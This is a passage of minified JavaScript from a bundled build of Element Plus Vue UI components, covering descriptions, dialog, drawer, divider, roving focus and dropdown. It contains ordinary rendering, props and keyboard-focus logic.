t=Fe(yI,{});return(n,r)=>d(t).direction==="vertical"?(B(),_(Qe,{key:0},[ne("tr",null,[(B(!0),_(Qe,null,Lt(n.row,(o,i)=>(B(),ye(d(Rc),{key:`tr1-${i}`,cell:o,tag:"th",type:"label"},null,8,["cell"]))),128))]),ne("tr",null,[(B(!0),_(Qe,null,Lt(n.row,(o,i)=>(B(),ye(d(Rc),{key:`tr2-${i}`,cell:o,tag:"td",type:"content"},null,8,["cell"]))),128))])],64)):(B(),_("tr",Cre,[(B(!0),_(Qe,null,Lt(n.row,(o,i)=>(B(),_(Qe,{key:`tr3-${i}`},[d(t).border?(B(),_(Qe,{key:0},[ae(d(Rc),{cell:o,tag:"td",type:"label"},null,8,["cell"]),ae(d(Rc),{cell:o,tag:"td",type:"content"},null,8,["cell"])],64)):(B(),ye(d(Rc),{key:1,cell:o,tag:"td",type:"both"},null,8,["cell"]))],64))),128))]))}});var Ore=Ye(xre,[["__file","descriptions-row.vue"]]);const zre=Ge({border:{type:Boolean,default:!1},column:{type:Number,default:3},direction:{type:String,values:["horizontal","vertical"],default:"horizontal"},size:fr,title:{type:String,default:""},extra:{type:String,default:""}}),Kre=ie({name:"ElDescriptions"}),Rre=ie({...Kre,props:zre,setup(e){const t=e,n=Oe("descriptions"),r=nr(),o=pr();Ot(yI,t);const i=N(()=>[n.b(),n.m(r.value)]),s=(l,u,c,f=!1)=>(l.props||(l.props={}),u>c&&(l.props.span=c),f&&(l.props.span=u),l),a=()=>{if(!o.default)return[];const l=sa(o.default()).filter(m=>{var g;return((g=m==null?void 0:m.type)==null?void 0:g.name)==="ElDescriptionsItem"}),u=[];let c=[],f=t.column,p=0;return l.forEach((m,g)=>{var v;const I=((v=m.props)==null?void 0:v.span)||1;if(g<l.length-1&&(p+=I>f?f:I),g===l.length-1){const q=t.column-p%t.column;c.push(s(m,q,f,!0)),u.push(c);return}I<f?(f-=I,c.push(m)):(c.push(s(m,I,f)),u.push(c),f=t.column,c=[])}),u};return(l,u)=>(B(),_("div",{class:F(d(i))},[l.title||l.extra||l.$slots.title||l.$slots.extra?(B(),_("div",{key:0,class:F(d(n).e("header"))},[ne("div",{class:F(d(n).e("title"))},[qe(l.$slots,"title",{},()=>[Kt(We(l.title),1)])],2),ne("div",{class:F(d(n).e("extra"))},[qe(l.$slots,"extra",{},()=>[Kt(We(l.extra),1)])],2)],2)):pe("v-if",!0),ne("div",{class:F(d(n).e("body"))},[ne("table",{class:F([d(n).e("table"),d(n).is("bordered",l.border)])},[ne("tbody",null,[(B(!0),_(Qe,null,Lt(a(),(c,f)=>(B(),ye(Ore,{key:f,row:c},null,8,["row"]))),128))])],2)],2)],2))}});var Lre=Ye(Rre,[["__file","description.vue"]]);const Zre=Ge({label:{type:String,default:""},span:{type:Number,default:1},width:{type:[String,Number],default:""},minWidth:{type:[String,Number],default:""},align:{type:String,default:"left"},labelAlign:{type:String,default:""},className:{type:String,default:""},labelClassName:{type:String,default:""}}),sx=ie({name:"ElDescriptionsItem",props:Zre}),Tre=It(Lre,{DescriptionsItem:sx}),Nre=kn(sx),jre=Ge({mask:{type:Boolean,default:!0},customMaskEvent:{type:Boolean,default:!1},overlayClass:{type:he([String,Array,Object])},zIndex:{type:he([String,Number])}}),Wre={click:e=>e instanceof MouseEvent},Gre="overlay";var Yre=ie({name:"ElOverlay",props:jre,emits:Wre,setup(e,{slots:t,emit:n}){const r=Oe(Gre),o=l=>{n("click",l)},{onClick:i,onMousedown:s,onMouseup:a}=$1(e.customMaskEvent?void 0:o);return()=>e.mask?ae("div",{class:[r.b(),e.overlayClass],style:{zIndex:e.zIndex},onClick:i,onMousedown:s,onMouseup:a},[qe(t,"default")],zo.STYLE|zo.CLASS|zo.PROPS,["onClick","onMouseup","onMousedown"]):tt("div",{class:e.overlayClass,style:{zIndex:e.zIndex,position:"fixed",top:"0px",right:"0px",bottom:"0px",left:"0px"}},[qe(t,"default")])}});const bI=Yre,ax=Symbol("dialogInjectionKey"),lx=Ge({center:Boolean,alignCenter:Boolean,closeIcon:{type:cn},draggable:Boolean,overflow:Boolean,fullscreen:Boolean,showClose:{type:Boolean,default:!0},title:{type:String,default:""},ariaLevel:{type:String,default:"2"}}),Bre={close:()=>!0},Jre=["aria-level"],Vre=["aria-label"],Ure=["id"],Fre=ie({name:"ElDialogContent"}),Hre=ie({...Fre,props:lx,emits:Bre,setup(e){const t=e,{t:n}=Vt(),{Close:r}=j1,{dialogRef:o,headerRef:i,bodyId:s,ns:a,style:l}=Fe(ax),{focusTrapRef:u}=Fe(uI),c=N(()=>[a.b(),a.is("fullscreen",t.fullscreen),a.is("draggable",t.draggable),a.is("align-center",t.alignCenter),{[a.m("center")]:t.center}]),f=Lm(u,o),p=N(()=>t.draggable),m=N(()=>t.overflow);return t6(o,i,p,m),(g,v)=>(B(),_("div",{ref:d(f),class:F(d(c)),style:De(d(l)),tabindex:"-1"},[ne("header",{ref_key:"headerRef",ref:i,class:F([d(a).e("header"),{"show-close":g.showClose}])},[qe(g.$slots,"header",{},()=>[ne("span",{role:"heading","aria-level":g.ariaLevel,class:F(d(a).e("title"))},We(g.title),11,Jre)]),g.showClose?(B(),_("button",{key:0,"aria-label":d(n)("el.dialog.close"),class:F(d(a).e("headerbtn")),type:"button",onClick:v[0]||(v[0]=I=>g.$emit("close"))},[ae(d(Pe),{class:F(d(a).e("close"))},{default:fe(()=>[(B(),ye(Et(g.closeIcon||d(r))))]),_:1},8,["class"])],10,Vre)):pe("v-if",!0)],2),ne("div",{id:d(s),class:F(d(a).e("body"))},[qe(g.$slots,"default")],10,Ure),g.$slots.footer?(B(),_("footer",{key:0,class:F(d(a).e("footer"))},[qe(g.$slots,"footer")],2)):pe("v-if",!0)],6))}});var Pre=Ye(Hre,[["__file","dialog-content.vue"]]);const ux=Ge({...lx,appendToBody:Boolean,appendTo:{type:he(String),default:"body"},beforeClose:{type:he(Function)},destroyOnClose:Boolean,closeOnClickModal:{type:Boolean,default:!0},closeOnPressEscape:{type:Boolean,default:!0},lockScroll:{type:Boolean,default:!0},modal:{type:Boolean,default:!0},openDelay:{type:Number,default:0},closeDelay:{type:Number,default:0},top:{type:String},modelValue:Boolean,modalClass:String,width:{type:[String,Number]},zIndex:{type:Number},trapFocus:{type:Boolean,default:!1},headerAriaLevel:{type:String,default:"2"}}),cx={open:()=>!0,opened:()=>!0,close:()=>!0,closed:()=>!0,[St]:e=>Un(e),openAutoFocus:()=>!0,closeAutoFocus:()=>!0},dx=(e,t)=>{var n;const o=bt().emit,{nextZIndex:i}=wc();let s="";const a=Jr(),l=Jr(),u=D(!1),c=D(!1),f=D(!1),p=D((n=e.zIndex)!=null?n:i());let m,g;const v=Gm("namespace",td),I=N(()=>{const b={},w=`--${v.value}-dialog`;return e.fullscreen||(e.top&&(b[`${w}-margin-top`]=e.top),e.width&&(b[`${w}-width`]=Yn(e.width))),b}),q=N(()=>e.alignCenter?{display:"flex"}:{});function M(){o("opened")}function E(){o("closed"),o(St,!1),e.destroyOnClose&&(f.value=!1)}function x(){o("close")}function R(){g==null||g(),m==null||m(),e.openDelay&&e.openDelay>0?{stop:m}=fa(()=>H(),e.openDelay):H()}function K(){m==null||m(),g==null||g(),e.closeDelay&&e.closeDelay>0?{stop:g}=fa(()=>P(),e.closeDelay):P()}function W(){function b(w){w||(c.value=!0,u.value=!1)}e.beforeClose?e.beforeClose(b):K()}function j(){e.closeOnClickModal&&W()}function H(){Tt&&(u.value=!0)}function P(){u.value=!1}function U(){o("openAutoFocus")}function X(){o("closeAutoFocus")}function L(b){var w;((w=b.detail)==null?void 0:w.focusReason)==="pointer"&&b.preventDefault()}e.lockScroll&&V1(u);function h(){e.closeOnPressEscape&&W()}return Ce(()=>e.modelValue,b=>{b?(c.value=!1,R(),f.value=!0,p.value=B3(e.zIndex)?i():p.value++,$e(()=>{o("open"),t.value&&(t.value.scrollTop=0)})):u.value&&K()}),Ce(()=>e.fullscreen,b=>{t.value&&(b?(s=t.value.style.transform,t.value.style.transform=""):t.value.style.transform=s)}),mt(()=>{e.modelValue&&(u.value=!0,f.value=!0,R())}),{afterEnter:M,afterLeave:E,beforeLeave:x,handleClose:W,onModalClick:j,close:K,doClose:P,onOpenAutoFocus:U,onCloseAutoFocus:X,onCloseRequested:h,onFocusoutPrevented:L,titleId:a,bodyId:l,closed:c,style:I,overlayDialogStyle:q,rendered:f,visible:u,zIndex:p}},Dre=["aria-label","aria-labelledby","aria-describedby"],Xre=ie({name:"ElDialog",inheritAttrs:!1}),Qre=ie({...Xre,props:ux,emits:cx,setup(e,{expose:t}){const n=e,r=pr();ml({scope:"el-dialog",from:"the title slot",replacement:"the header slot",version:"3.0.0",ref:"https://element-plus.org/en-US/component/dialog.html#slots"},N(()=>!!r.title));const o=Oe("dialog"),i=D(),s=D(),a=D(),{visible:l,titleId:u,bodyId:c,style:f,overlayDialogStyle:p,rendered:m,zIndex:g,afterEnter:v,afterLeave:I,beforeLeave:q,handleClose:M,onModalClick:E,onOpenAutoFocus:x,onCloseAutoFocus:R,onCloseRequested:K,onFocusoutPrevented:W}=dx(n,i);Ot(ax,{dialogRef:i,headerRef:s,bodyId:c,ns:o,rendered:m,style:f});const j=$1(E),H=N(()=>n.draggable&&!n.fullscreen);return t({visible:l,dialogContentRef:a}),(P,U)=>(B(),ye(jl,{to:P.appendTo,disabled:P.appendTo!=="body"?!1:!P.appendToBody},[ae(Hn,{name:"dialog-fade",onAfterEnter:d(v),onAfterLeave:d(I),onBeforeLeave:d(q),persisted:""},{default:fe(()=>[ft(ae(d(bI),{"custom-mask-event":"",mask:P.modal,"overlay-class":P.modalClass,"z-index":d(g)},{default:fe(()=>[ne("div",{role:"dialog","aria-modal":"true","aria-label":P.title||void 0,"aria-labelledby":P.title?void 0:d(u),"aria-describedby":d(c),class:F(`${d(o).namespace.value}-overlay-dialog`),style:De(d(p)),onClick:U[0]||(U[0]=(...X)=>d(j).onClick&&d(j).onClick(...X)),onMousedown:U[1]||(U[1]=(...X)=>d(j).onMousedown&&d(j).onMousedown(...X)),onMouseup:U[2]||(U[2]=(...X)=>d(j).onMouseup&&d(j).onMouseup(...X))},[ae(d(mf),{loop:"",trapped:d(l),"focus-start-el":"container",onFocusAfterTrapped:d(x),onFocusAfterReleased:d(R),onFocusoutPrevented:d(W),onReleaseRequested:d(K)},{default:fe(()=>[d(m)?(B(),ye(Pre,xt({key:0,ref_key:"dialogContentRef",ref:a},P.$attrs,{center:P.center,"align-center":P.alignCenter,"close-icon":P.closeIcon,draggable:d(H),overflow:P.overflow,fullscreen:P.fullscreen,"show-close":P.showClose,title:P.title,"aria-level":P.headerAriaLevel,onClose:d(M)}),ms({header:fe(()=>[P.$slots.title?qe(P.$slots,"title",{key:1}):qe(P.$slots,"header",{key:0,close:d(M),titleId:d(u),titleClass:d(o).e("title")})]),default:fe(()=>[qe(P.$slots,"default")]),_:2},[P.$slots.footer?{name:"footer",fn:fe(()=>[qe(P.$slots,"footer")])}:void 0]),1040,["center","align-center","close-icon","draggable","overflow","fullscreen","show-close","title","aria-level","onClose"])):pe("v-if",!0)]),_:3},8,["trapped","onFocusAfterTrapped","onFocusAfterReleased","onFocusoutPrevented","onReleaseRequested"])],46,Dre)]),_:3},8,["mask","overlay-class","z-index"]),[[_t,d(l)]])]),_:3},8,["onAfterEnter","onAfterLeave","onBeforeLeave"])],8,["to","disabled"]))}});var _re=Ye(Qre,[["__file","dialog.vue"]]);const $re=It(_re),eoe=Ge({direction:{type:String,values:["horizontal","vertical"],default:"horizontal"},contentPosition:{type:String,values:["left","center","right"],default:"center"},borderStyle:{type:he(String),default:"solid"}}),toe=ie({name:"ElDivider"}),noe=ie({...toe,props:eoe,setup(e){const t=e,n=Oe("divider"),r=N(()=>n.cssVar({"border-style":t.borderStyle}));return(o,i)=>(B(),_("div",{class:F([d(n).b(),d(n).m(o.direction)]),style:De(d(r)),role:"separator"},[o.$slots.default&&o.direction!=="vertical"?(B(),_("div",{key:0,class:F([d(n).e("text"),d(n).is(o.contentPosition)])},[qe(o.$slots,"default")],2)):pe("v-if",!0)],6))}});var roe=Ye(noe,[["__file","divider.vue"]]);const fx=It(roe),ooe=Ge({...ux,direction:{type:String,default:"rtl",values:["ltr","rtl","ttb","btt"]},size:{type:[String,Number],default:"30%"},withHeader:{type:Boolean,default:!0},modalFade:{type:Boolean,default:!0},headerAriaLevel:{type:String,default:"2"}}),ioe=cx,soe=["aria-label","aria-labelledby","aria-describedby"],aoe=["id","aria-level"],loe=["aria-label"],uoe=["id"],coe=ie({name:"ElDrawer",inheritAttrs:!1}),doe=ie({...coe,props:ooe,emits:ioe,setup(e,{expose:t}){const n=e,r=pr();ml({scope:"el-drawer",from:"the title slot",replacement:"the header slot",version:"3.0.0",ref:"https://element-plus.org/en-US/component/drawer.html#slots"},N(()=>!!r.title));const o=D(),i=D(),s=Oe("drawer"),{t:a}=Vt(),{afterEnter:l,afterLeave:u,beforeLeave:c,visible:f,rendered:p,titleId:m,bodyId:g,zIndex:v,onModalClick:I,onOpenAutoFocus:q,onCloseAutoFocus:M,onFocusoutPrevented:E,onCloseRequested:x,handleClose:R}=dx(n,o),K=N(()=>n.direction==="rtl"||n.direction==="ltr"),W=N(()=>Yn(n.size));return t({handleClose:R,afterEnter:l,afterLeave:u}),(j,H)=>(B(),ye(jl,{to:"body",disabled:!j.appendToBody},[ae(Hn,{name:d(s).b("fade"),onAfterEnter:d(l),onAfterLeave:d(u),onBeforeLeave:d(c),persisted:""},{default:fe(()=>[ft(ae(d(bI),{mask:j.modal,"overlay-class":j.modalClass,"z-index":d(v),onClick:d(I)},{default:fe(()=>[ae(d(mf),{loop:"",trapped:d(f),"focus-trap-el":o.value,"focus-start-el":i.value,onFocusAfterTrapped:d(q),onFocusAfterReleased:d(M),onFocusoutPrevented:d(E),onReleaseRequested:d(x)},{default:fe(()=>[ne("div",xt({ref_key:"drawerRef",ref:o,"aria-modal":"true","aria-label":j.title||void 0,"aria-labelledby":j.title?void 0:d(m),"aria-describedby":d(g)},j.$attrs,{class:[d(s).b(),j.direction,d(f)&&"open"],style:d(K)?"width: "+d(W):"height: "+d(W),role:"dialog",onClick:H[1]||(H[1]=rt(()=>{},["stop"]))}),[ne("span",{ref_key:"focusStartRef",ref:i,class:F(d(s).e("sr-focus")),tabindex:"-1"},null,2),j.withHeader?(B(),_("header",{key:0,class:F(d(s).e("header"))},[j.$slots.title?qe(j.$slots,"title",{key:1},()=>[pe(" DEPRECATED SLOT ")]):qe(j.$slots,"header",{key:0,close:d(R),titleId:d(m),titleClass:d(s).e("title")},()=>[j.$slots.title?pe("v-if",!0):(B(),_("span",{key:0,id:d(m),role:"heading","aria-level":j.headerAriaLevel,class:F(d(s).e("title"))},We(j.title),11,aoe))]),j.showClose?(B(),_("button",{key:2,"aria-label":d(a)("el.drawer.close"),class:F(d(s).e("close-btn")),type:"button",onClick:H[0]||(H[0]=(...P)=>d(R)&&d(R)(...P))},[ae(d(Pe),{class:F(d(s).e("close"))},{default:fe(()=>[ae(d(fi))]),_:1},8,["class"])],10,loe)):pe("v-if",!0)],2)):pe("v-if",!0),d(p)?(B(),_("div",{key:1,id:d(g),class:F(d(s).e("body"))},[qe(j.$slots,"default")],10,uoe)):pe("v-if",!0),j.$slots.footer?(B(),_("div",{key:2,class:F(d(s).e("footer"))},[qe(j.$slots,"footer")],2)):pe("v-if",!0)],16,soe)]),_:3},8,["trapped","focus-trap-el","focus-start-el","onFocusAfterTrapped","onFocusAfterReleased","onFocusoutPrevented","onReleaseRequested"])]),_:3},8,["mask","overlay-class","z-index","onClick"]),[[_t,d(f)]])]),_:3},8,["name","onAfterEnter","onAfterLeave","onBeforeLeave"])],8,["disabled"]))}});var foe=Ye(doe,[["__file","drawer.vue"]]);const hoe=It(foe),poe=ie({inheritAttrs:!1});function moe(e,t,n,r,o,i){return qe(e.$slots,"default")}var voe=Ye(poe,[["render",moe],["__file","collection.vue"]]);const goe=ie({name:"ElCollectionItem",inheritAttrs:!1});function yoe(e,t,n,r,o,i){return qe(e.$slots,"default")}var boe=Ye(goe,[["render",yoe],["__file","collection-item.vue"]]);const hx="data-el-collection-item",px=e=>{const t=`El${e}Collection`,n=`${t}Item`,r=Symbol(t),o=Symbol(n),i={...voe,name:t,setup(){const a=D(null),l=new Map;Ot(r,{itemMap:l,getItems:()=>{const c=d(a);if(!c)return[];const f=Array.from(c.querySelectorAll(`[${hx}]`));return[...l.values()].sort((m,g)=>f.indexOf(m.ref)-f.indexOf(g.ref))},collectionRef:a})}},s={...boe,name:n,setup(a,{attrs:l}){const u=D(null),c=Fe(r,void 0);Ot(o,{collectionItemRef:u}),mt(()=>{const f=d(u);f&&c.itemMap.set(f,{ref:f,...l})}),vn(()=>{const f=d(u);c.itemMap.delete(f)})}};return{COLLECTION_INJECTION_KEY:r,COLLECTION_ITEM_INJECTION_KEY:o,ElCollection:i,ElCollectionItem:s}},Ioe=Ge({style:{type:he([String,Array,Object])},currentTabId:{type:he(String)},defaultCurrentTabId:String,loop:Boolean,dir:{type:String,values:["ltr","rtl"],default:"ltr"},orientation:{type:he(String)},onBlur:Function,onFocus:Function,onMousedown:Function}),{ElCollection:qoe,ElCollectionItem:woe,COLLECTION_INJECTION_KEY:II,COLLECTION_ITEM_INJECTION_KEY:Soe}=px("RovingFocusGroup"),qI=Symbol("elRovingFocusGroup"),mx=Symbol("elRovingFocusGroupItem"),Eoe={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"},Aoe=(e,t)=>{if(t!=="rtl")return e;switch(e){case _e.right:return _e.left;case _e.left:return _e.right;default:return e}},Moe=(e,t,n)=>{const r=Aoe(e.key,n);if(!(t==="vertical"&&[_e.left,_e.right].includes(r))&&!(t==="horizontal"&&[_e.up,_e.down].includes(r)))return Eoe[r]},Coe=(e,t)=>e.map((n,r)=>e[(r+t)%e.length]),wI=e=>{const{activeElement:t}=document;for(const n of e)if(n===t||(n.focus(),t!==document.activeElement))return},i7="currentTabIdChange",s7="rovingFocusGroup.entryFocus",koe={bubbles:!1,cancelable:!0},xoe=ie({name:"ElRovingFocusGroupImpl",inheritAttrs:!1,props:Ioe,emits:[i7,"entryFocus"],setup(e,{emit:t}){var n;const r=D((n=e.currentTabId||e.defaultCurrentTabId)!=null?n:null),o=D(!1),i=D(!1),s=D(null),{getItems:a}=Fe(II,void 0),l=N(()=>[{outline:"none"},e.style]),u=v=>{t(i7,v)},c=()=>{o.value=!0},f=Kn(v=>{var I;(I=e.onMousedown)==null||I.call(e,v)},()=>{i.value=!0}),p=Kn(v=>{var I;(I=e.onFocus)==null||I.call(e,v)},v=>{const I=!d(i),{target:q,currentTarget:M}=v;if(q===M&&I&&!d(o)){const E=new Event(s7,koe);if(M==null||M.dispatchEvent(E),!E.defaultPrevented){const x=a().filter(H=>H.focusable),R=x.find(H=>H.active),K=x.find(H=>H.id===d(r)),j=[R,K,...x].filter(Boolean).map(H=>H.ref);wI(j)}}i.value=!1}),m=Kn(v=>{var I;(I=e.onBlur)==null||I.call(e,v)},()=>{o.value=!1}),g=(...v)=>{t("entryFocus",...v)};Ot(qI,{currentTabbedId:Tl(r),loop:hn(e,"loop"),tabIndex:N(()=>d(o)?-1:0),rovingFocusGroupRef:s,rovingFocusGroupRootStyle:l,orientation:hn(e,"orientation"),dir:hn(e,"dir"),onItemFocus:u,onItemShiftTab:c,onBlur:m,onFocus:p,onMousedown:f}),Ce(()=>e.currentTabId,v=>{r.value=v??null}),pn(s,s7,g)}});function Ooe(e,t,n,r,o,i){return qe(e.$slots,"default")}var zoe=Ye(xoe,[["render",Ooe],["__file","roving-focus-group-impl.vue"]]);const Koe=ie({name:"ElRovingFocusGroup",components:{ElFocusGroupCollection:qoe,ElRovingFocusGroupImpl:zoe}});function Roe(e,t,n,r,o,i){const s=pt("el-roving-focus-group-impl"),a=pt("el-focus-group-collection");return B(),ye(a,null,{default:fe(()=>[ae(s,or(kr(e.$attrs)),{default:fe(()=>[qe(e.$slots,"default")]),_:3},16)]),_:3})}var Loe=Ye(Koe,[["render",Roe],["__file","roving-focus-group.vue"]]);const Zoe=ie({components:{ElRovingFocusCollectionItem:woe},props:{focusable:{type:Boolean,default:!0},active:{type:Boolean,default:!1}},emits:["mousedown","focus","keydown"],setup(e,{emit:t}){const{currentTabbedId:n,loop:r,onItemFocus:o,onItemShiftTab:i}=Fe(qI,void 0),{getItems:s}=Fe(II,void 0),a=Jr(),l=D(null),u=Kn(m=>{t("mousedown",m)},m=>{e.focusable?o(d(a)):m.preventDefault()}),c=Kn(m=>{t("focus",m)},()=>{o(d(a))}),f=Kn(m=>{t("keydown",m)},m=>{const{key:g,shiftKey:v,target:I,currentTarget:q}=m;if(g===_e.tab&&v){i();return}if(I!==q)return;const M=Moe(m);if(M){m.preventDefault();let x=s().filter(R=>R.focusable).map(R=>R.ref);switch(M){case"last":{x.reverse();break}case"prev":case"next":{M==="prev"&&x.reverse();const R=x.indexOf(q);x=r.value?Coe(x,R+1):x.slice(R+1);break}}$e(()=>{wI(x)})}}),p=N(()=>n.value===d(a));return Ot(mx,{rovingFocusGroupItemRef:l,tabIndex:N(()=>d(p)?0:-1),handleMousedown:u,handleFocus:c,handleKeydown:f}),{id:a,handleKeydown:f,handleFocus:c,handleMousedown:u}}});function Toe(e,t,n,r,o,i){const s=pt("el-roving-focus-collection-item");return B(),ye(s,{id:e.id,focusable:e.focusable,active:e.active},{default:fe(()=>[qe(e.$slots,"default")]),_:3},8,["id","focusable","active"])}var Noe=Ye(Zoe,[["render",Toe],["__file","roving-focus-item.vue"]]);const jh=Ge({trigger:Td.trigger,effect:{...yr.effect,default:"light"},type:{type:he(String)},placement:{type:he(String),default:"bottom"},popperOptions:{type:he(Object),default:()=>({})},id:String,size:{type:String,default:""},splitButton:Boolean,hideOnClick:{type:Boolean,default:!0},loop:{type:Boolean,default:!0},showTimeout:{type:Number,default:150},hideTimeout:{type:Number,default:150},tabindex:{type:he([Number,String]),default:0},maxHeight:{type:he([Number,String]),default:""},popperClass:{type:String,default:""},disabled:{type:Boolean,default:!1},role:{type:String,default:"menu"},buttonProps:{type:he(Object)},teleported:yr.teleported}),vx=Ge({command:{type:[Object,String,Number],default:()=>({})},disabled:Boolean,divided:Boolean,textValue:String,icon:{type:cn}}),joe=Ge({onKeydown:{type:he(Function)}}),Woe=[_e.down,_e.pageDown,_e.home],gx=[_e.up,_e.pageUp,_e.end],Goe=[...Woe,...gx],{ElCollection:Yoe,ElCollectionItem:Boe,COLLECTION_INJECTION_KEY:Joe,COLLECTION_ITEM_INJECTION_KEY:Voe}=px("Dropdown"),Fm=Symbol("elDropdown"),{ButtonGroup:Uoe}=dr,Foe=ie({name:"ElDropdown",components:{ElButton:dr,ElButtonGroup:Uoe,ElScrollbar:Cs,ElDropdownCollection:Yoe,ElTooltip:Vr,ElRovingFocusGroup:Loe,ElOnlyChild:J6,ElIcon:Pe,ArrowDown:Ms},props:jh,emits:["visible-change","click","command"],setup(e,{emit:t}){const n=bt(),r=Oe("dropdown"),{t:o}=Vt(),i=D(),s=D(),a=D(null),l=D(null),u=D(null),c=D(null),f=D(!1),p=[_e.enter,_e.space,_e.down],m=N(()=>({maxHeight:Yn(e.maxHeight)})),g=N(()=>[r.m(R.value)]),v=N(()=>Ml(e.trigger)),I=Jr().value,q=N(()=>e.id||I);Ce([i,v],([A,C],[S])=>{var z,k,y;(z=S==null?void 0:S.$el)!=null&&z.removeEventListener&&S.$el.removeEventListener("pointerenter",W),(k=A==null?void 0:A.$el)!=null&&k.removeEventListener&&A.$el.removeEventListener("pointerenter",W),(y=A==null?void 0:A.$el)!=null&&y.addEventListener&&C.includes("hover")&&A.$el.addEventListener("pointerenter",W)},{immediate:!0}),vn(()=>{var A,C;(C=(A=i.value)==null?void 0:A.$el)!=null&&C.removeEventListener&&i.value.$el.removeEventListener("pointerenter",W)});function M(){E()}function E(){var A;(A=a.value)==null||A.onClose()}function x(){var A;(A=a.value)==null||A.onOpen()}const R=nr();function K(...A){t("command",...A)}function W(){var A,C;(C=(A=i.value)==null?void 0:A.$el)==null||C.focus()}function j(){}function H(){const A=d(l);v.value.includes("hover")&&(A==null||A.focus()),c.value=null}function P(A){c.value=A}function U(A){f.value||(A.preventDefault(),A.stopImmediatePropagation())}function X(){t("visible-change",!0)}function L(A){(A==null?void 0:A.type)==="keydown"&&l.value.focus()}function h(){t("visible-change",!1)}return Ot(Fm,{contentRef:l,role:N(()=>e.role),triggerId:q,isUsingKeyboard:f,onItemEnter:j,onItemLeave:H}),Ot("elDropdown",{instance:n,dropdownSize:R,handleClick:M,commandHandler:K,trigger:hn(e,"trigger"),hideOnClick:hn(e,"hideOnClick")}),{t:o,ns:r,scrollbar:u,wrapStyle:m,dropdownTriggerKls:g,dropdownSize:R,triggerId:q,triggerKeys:p,currentTabId:c,handleCurrentTabIdChange:P,handlerMainButtonClick:A=>{t("click",A)},handleEntryFocus:U,handleClose:E,handleOpen:x,handleBeforeShowTooltip:X,handleShowTooltip:L,handleBeforeHideTooltip:h,onFocusAfterTrapped:A=>{var C,S;A.preventDefault(),(S=(C=l.value)==null?void 0:C.focus)==null||S.call(C,{preventScroll:!0})},popperRef:a,contentRef:l,triggeringElementRef:i,referenceElementRef:s}}});function Hoe(e,t,n,r,o,i){var s;const a=pt("el-dropdown-collection"),l=pt("el-roving-focus-group"),u=pt("el-scrollbar"),c=pt("el-only-child"),f=pt("el-tooltip"),p=pt("el-button"),m=pt("arrow-down"),g=pt("el-icon"),v=pt("el-button-group");return B(),_("div",{class:F([e.ns.b(),e.ns.is("disabled",e.disabled)])},[ae(f,{ref:"popperRef",role:e.role,effect:e.effect,"fallback-placements":["bottom","top"],"popper-options":e.popperOptions,"gpu-acceleration":!1,"hide-after":e.trigger==="hover"?e.hideTimeout:0,"manual-mode":!0,placement:e.placement,"popper-class":[e.ns.e("popper"),e.popperClass],"reference-element":(s=e.referenceElementRef)==null?void 0:s.$el,trigger:e.trigger,"trigger-keys":e.triggerKeys,"trigger-target-el":e.contentRef,"show-after":e.trigger==="hover"?e.showTimeout:0,"stop-popper-mouse-event":!1,"virtual-ref":e.triggeringElementRef,"virtual-triggering":e.splitButton,disabled:e.disabled,transition:`${e.ns.namespace.value}-zoom-in-top`,teleported:e.teleported,pure:"",persistent:"",onBeforeShow:e.handleBeforeShowTooltip,onShow:e.handleShowTooltip,onBeforeHide:e.handleBeforeHideTooltip},ms({content:fe(()=>[ae(u,{ref:"scrollbar","wrap-style":e.wrapStyle,tag:"div","view-class":e.ns.e("list")},{default:fe(()=>[ae(l,{loop:e.loop,"current-tab-id":e.currentTabId,orientation:"horizontal",onCurrentTabIdChange:e.handleCurrentTabIdChange,onEntryFocus:e.handleEntryFocus},{default:fe(()=>[ae(a,null,{default:fe(()=>[qe(e.$slots,"dropdown")]),_:3})]),_:3},8,["loop","current-tab-id","onCurrentTabIdChange","onEntryFocus"])]),_:3},8,["wrap-style","view-class"])]),_:2},[e.splitButton?void 0:{name:"default",fn:fe(()=>[ae(c,{id:e.triggerId,ref:"triggeringElementRef",role:"button",tabindex:e.tabindex},{default:fe(()=>[qe(e.$slots,"default")]),_:3},8,["id","tabindex"])])}]),1032,["role","effect","popper-options","hide-after","placement","popper-class","reference-element","trigger","trigger-keys","trigger-target-el","show-after","virtual-ref","virtual-triggering","disabled","transition","teleported","onBeforeShow","onShow","onBeforeHide"]),e.splitButton?(B(),ye(v,{key:0},{default:fe(()=>[ae(p,xt({ref:"referenceElementRef"},e.buttonProps,{size:e.dropdownSize,type:e.type,disabled:e.disabled,tabindex:e.tabindex,onClick:e.handlerMainButtonClick}),{default:fe(()=>[qe(e.$slots,"default")]),_:3},16,["size","type","disabled","tabindex","onClick"]),ae(p,xt({id:e.triggerId,ref:"triggeringElementRef"},e.buttonProps,{role:"button",size:e.dropdownSize,type:e.type,class:e.ns.e("caret-button"),disabled:e.disabled,tabindex:e.tabindex,"aria-label":e.t("el.dropdown.toggleDropdown")}),{default:fe(()=>[ae(g,{class:F(e.ns.e("icon"))},{default:fe(()=>[ae(m)]),_:1},8,["class"])]),_:1},16,["id","size","type","class","disabled","tabindex","aria-label"])]),_:3})):pe("v-if",!0)],2)}var Poe=Ye(Foe,[["render",Hoe],["__file","dropdown.vue"]]);const Doe=ie({name:"DropdownItemImpl",components:{ElIcon:Pe},props:vx,emits:["pointermove","pointerleave","click","clickimpl"],setup(e,{emit:t}){const n=Oe("dropdown"),{role:r}=Fe(Fm,void 0),{collectionItemRef:o}=Fe(Voe,void 0),{collectionItemRef:i}=Fe(Soe,void 0),{rovingFocusGroupItemRef:s,tabIndex:a,handleFocus:l,handleKeydown:u,handleMousedown:c}=Fe(mx,void 0),f=Lm(o,i,s),p=N(()=>r.value==="menu"?"menuitem":r.value==="navigation"?"link":"button"),m=Kn(g=>{const{code:v}=g;if(v===_e.enter||v===_e.space)return g.preventDefault(),g.stopImmediatePropagation(),t("clickimpl",g),!0},u);return{ns:n,itemRef:f,dataset:{[hx]:""},role:p,tabIndex:a,handleFocus:l,handleKeydown:m,handleMousedown:c}}}),Xoe=["aria-disabled","tabindex","role"];function Qoe(e,t,n,r,o,i){const s=pt("el-icon");return 